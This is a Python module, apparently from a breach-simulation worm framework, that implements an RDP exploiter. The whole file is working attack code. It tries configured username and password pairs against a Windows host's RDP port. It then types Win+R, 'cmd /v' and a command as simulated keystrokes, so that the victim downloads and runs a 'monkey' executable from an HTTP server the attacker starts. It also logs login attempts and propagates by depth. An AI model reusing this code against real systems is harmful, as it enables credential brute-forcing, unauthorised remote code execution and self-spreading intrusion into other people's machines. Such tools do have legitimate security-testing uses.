337 lines
11 KiB
Python
337 lines
11 KiB
Python
import os.path
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import threading
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import time
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from logging import getLogger
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import rdpy.core.log as rdpy_log
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import twisted.python.log
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from rdpy.core.error import RDPSecurityNegoFail
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from rdpy.protocol.rdp import rdp
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from twisted.internet import reactor
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from exploit import HostExploiter
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from exploit.tools import HTTPTools, get_monkey_depth
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from exploit.tools import get_target_monkey
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from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
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from network.tools import check_tcp_port
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from tools import build_monkey_commandline
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__author__ = 'hoffer'
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KEYS_INTERVAL = 0.1
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MAX_WAIT_FOR_UPDATE = 120
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KEYS_SENDER_SLEEP = 0.01
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DOWNLOAD_TIMEOUT = 60
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RDP_PORT = 3389
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LOG = getLogger(__name__)
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def twisted_log_func(*message, **kw):
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if kw.has_key('isError') and kw['isError']:
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error_msg = 'Unknown'
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if 'failure' in kw:
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error_msg = kw['failure'].getErrorMessage()
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LOG.error("Error from twisted library: %s" % (error_msg,))
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else:
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LOG.debug("Message from twisted library: %s" % (str(message),))
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def rdpy_log_func(message):
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LOG.debug("Message from rdpy library: %s" % (message,))
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twisted.python.log.msg = twisted_log_func
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rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
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rdpy_log.log = rdpy_log_func
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# thread for twisted reactor, create once.
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global g_reactor
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g_reactor = threading.Thread(target=reactor.run, args=(False,))
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class ScanCodeEvent(object):
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def __init__(self, code, is_pressed=False, is_special=False):
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self.code = code
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self.is_pressed = is_pressed
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self.is_special = is_special
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class CharEvent(object):
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def __init__(self, char, is_pressed=False):
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self.char = char
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self.is_pressed = is_pressed
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class SleepEvent(object):
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def __init__(self, interval):
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self.interval = interval
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class WaitUpdateEvent(object):
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def __init__(self, updates=1):
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self.updates = updates
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pass
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def str_to_keys(orig_str):
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result = []
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for c in orig_str:
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result.append(CharEvent(c, True))
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result.append(CharEvent(c, False))
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result.append(WaitUpdateEvent())
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return result
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class KeyPressRDPClient(rdp.RDPClientObserver):
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def __init__(self, controller, keys, width, height, addr):
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super(KeyPressRDPClient, self).__init__(controller)
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self._keys = keys
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self._addr = addr
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self._update_lock = threading.Lock()
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self._wait_update = False
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self._keys_thread = threading.Thread(target=self._keysSender)
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self._keys_thread.daemon = True
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self._width = width
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self._height = height
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self._last_update = 0
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self.closed = False
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self.success = False
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self._wait_for_update = None
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def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
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update_time = time.time()
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self._update_lock.acquire()
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self._last_update = update_time
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self._wait_for_update = False
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self._update_lock.release()
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def _keysSender(self):
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LOG.debug("Starting to send keystrokes")
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while True:
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if self.closed:
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return
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if len(self._keys) == 0:
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reactor.callFromThread(self._controller.close)
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LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
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return
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key = self._keys[0]
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self._update_lock.acquire()
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time_diff = time.time() - self._last_update
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if type(key) is WaitUpdateEvent:
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self._wait_for_update = True
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self._update_lock.release()
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key.updates -= 1
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if key.updates == 0:
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self._keys = self._keys[1:]
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elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
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self._wait_for_update = False
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self._update_lock.release()
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if type(key) is ScanCodeEvent:
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reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
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key.is_special)
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elif type(key) is CharEvent:
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reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
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elif type(key) is SleepEvent:
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time.sleep(key.interval)
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self._keys = self._keys[1:]
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else:
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self._update_lock.release()
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time.sleep(KEYS_SENDER_SLEEP)
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def onReady(self):
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time.sleep(1)
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reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
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time.sleep(1)
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reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
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time.sleep(1)
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pass
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def onClose(self):
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self.success = len(self._keys) == 0
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self.closed = True
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def onSessionReady(self):
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LOG.debug("Logged in, session is ready for work")
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self._last_update = time.time()
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self._keys_thread.start()
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class CMDClientFactory(rdp.ClientFactory):
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def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
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self._username = username
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self._password = password
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self._domain = domain
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self._keyboard_layout = "en"
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# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
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self._keys = [SleepEvent(1),
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ScanCodeEvent(91, True, True),
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ScanCodeEvent(19, True),
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ScanCodeEvent(19, False),
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ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
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[WaitUpdateEvent(), ScanCodeEvent(28, True),
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ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
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[WaitUpdateEvent(), ScanCodeEvent(28, True),
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ScanCodeEvent(28, False), WaitUpdateEvent()]
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self._optimized = optimized
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self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
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self._nego = True
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self._client = None
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self._width = width
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self._height = height
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self.done_event = threading.Event()
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self.success = False
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def buildObserver(self, controller, addr):
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"""
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@summary: Build RFB observer
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We use a RDPClient as RDP observer
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@param controller: build factory and needed by observer
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@param addr: destination address
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@return: RDPClientQt
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"""
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# create client observer
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self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
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controller.setUsername(self._username)
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controller.setPassword(self._password)
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controller.setDomain(self._domain)
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controller.setKeyboardLayout(self._keyboard_layout)
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controller.setHostname(addr.host)
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if self._optimized:
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controller.setPerformanceSession()
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controller.setSecurityLevel(self._security)
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return self._client
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def clientConnectionLost(self, connector, reason):
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# try reconnect with basic RDP security
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if reason.type == RDPSecurityNegoFail and self._nego:
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LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
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(connector.host, connector.port))
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# stop nego
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self._nego = False
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self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
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connector.connect()
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return
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LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
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self.success = self._client.success
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self.done_event.set()
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def clientConnectionFailed(self, connector, reason):
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LOG.debug("RDP connection to %s:%s failed, with error: %s" %
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(connector.host, connector.port, reason.getErrorMessage()))
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self.success = False
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self.done_event.set()
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class RdpExploiter(HostExploiter):
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_TARGET_OS_TYPE = ['windows']
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def __init__(self, host):
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super(RdpExploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self._guid = __import__('config').GUID
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def is_os_supported(self):
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if super(RdpExploiter, self).is_os_supported():
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return True
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if not self.host.os.get('type'):
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is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
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if is_open:
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self.host.os['type'] = 'windows'
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return True
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return False
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def exploit_host(self):
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global g_reactor
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is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
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if not is_open:
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LOG.info("RDP port is closed on %r, skipping", self.host)
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return False
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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# create server for http download.
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
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return False
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LOG.info("Started http server on %s", http_path)
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cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
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if self._config.rdp_use_vbs_download:
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command = RDP_CMDLINE_HTTP_VBS % {
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'monkey_path': self._config.dropper_target_path,
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'http_path': http_path, 'parameters': cmdline}
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else:
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command = RDP_CMDLINE_HTTP_BITS % {
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'monkey_path': self._config.dropper_target_path,
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'http_path': http_path, 'parameters': cmdline}
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user_password_pairs = self._config.get_exploit_user_password_pairs()
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if not g_reactor.is_alive():
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g_reactor.daemon = True
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g_reactor.start()
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exploited = False
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for user, password in user_password_pairs:
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try:
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# run command using rdp.
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LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
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self.host, user, password)
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LOG.info("RDP connected to %r", self.host)
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client_factory = CMDClientFactory(user, password, "", command)
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reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
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client_factory.done_event.wait()
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if client_factory.success:
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exploited = True
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self.report_login_attempt(True, user, password)
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break
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else:
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# failed exploiting with this user/pass
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self.report_login_attempt(False, user, password)
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except Exception as exc:
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LOG.debug("Error logging into victim %r with user"
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" %s and password '%s': (%s)", self.host,
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user, password, exc)
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continue
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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if not exploited:
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LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
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return False
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elif http_thread.downloads == 0:
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LOG.debug("Exploiter RdpGrinder failed, http download failed.")
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return False
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LOG.info("Executed monkey '%s' on remote victim %r",
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os.path.basename(src_path), self.host)
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return True
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